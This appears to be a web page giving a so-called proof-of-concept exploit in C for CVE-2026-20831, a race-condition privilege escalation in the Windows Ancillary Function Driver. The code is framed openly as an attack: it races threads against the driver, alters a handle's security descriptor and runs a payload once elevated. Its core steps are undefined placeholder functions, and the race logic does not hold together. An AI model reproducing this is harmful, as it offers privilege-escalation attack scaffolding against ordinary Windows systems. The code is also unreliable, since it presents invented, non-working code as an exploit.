CVE-2026-20831 Windows Ancillary Function Driver TOCTOU权限提升漏洞

// CVE-2026-20831 TOCTOU Race Condition PoC // Target: Windows Ancillary Function Driver for WinSock // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <process.h> #include <stdio.h> // Global handles and flags HANDLE g_hTargetHandle = NULL; volatile BOOL g_bRaceWindow = FALSE; unsigned __stdcall RaceThread(void* pArgs) { while (g_bRaceWindow) { // Attempt to trigger the TOCTOU condition // by manipulating handle state during check-use window // Step 1: Open target handle g_hTargetHandle = OpenHandleToAncillaryFunctionDriver(); if (g_hTargetHandle != NULL) { // Step 2: Signal that we're in the race window g_bRaceWindow = TRUE; // Step 3: Rapidly switch security context SwitchToAnotherLowPrivilegeContext(); // Step 4: Exploit the gap between check and use DeviceIoControl(g_hTargetHandle, IOCTL_AFD_ADDRESS_LIST_CHANGE, NULL, 0, NULL, 0, NULL, NULL); } } return 0; } unsigned __stdcall CleanupThread(void* pArgs) { while (g_bRaceWindow) { // Modify handle state during the race window // to trigger privilege escalation if (g_hTargetHandle != NULL) { // Exploit code: Modify handle security descriptor ModifyHandleSecurityDescriptor(g_hTargetHandle); } Sleep(0); // Yield to increase race condition probability } return 0; } int main() { HANDLE hThreads[4]; printf("CVE-2026-20831 PoC - TOCTOU Race Condition\n"); printf("Target: Windows Ancillary Function Driver\n\n"); // Initialize race condition window g_bRaceWindow = TRUE; // Create race condition threads for (int i = 0; i < 2; i++) { hThreads[i] = (HANDLE)_beginthreadex(NULL, 0, RaceThread, NULL, 0, NULL); hThreads[i + 2] = (HANDLE)_beginthreadex(NULL, 0, CleanupThread, NULL, 0, NULL); } // Wait for race to succeed or timeout WaitForMultipleObjects(4, hThreads, TRUE, 30000); // Check if privilege escalation succeeded if (CheckIfElevated()) { printf("[+] Privilege Escalation Successful!\n"); // Execute payload with elevated privileges ExecutePayload(); } else { printf("[-] Exploit failed - try again\n"); } g_bRaceWindow = FALSE; // Cleanup for (int i = 0; i < 4; i++) { CloseHandle(hThreads[i]); } return 0; }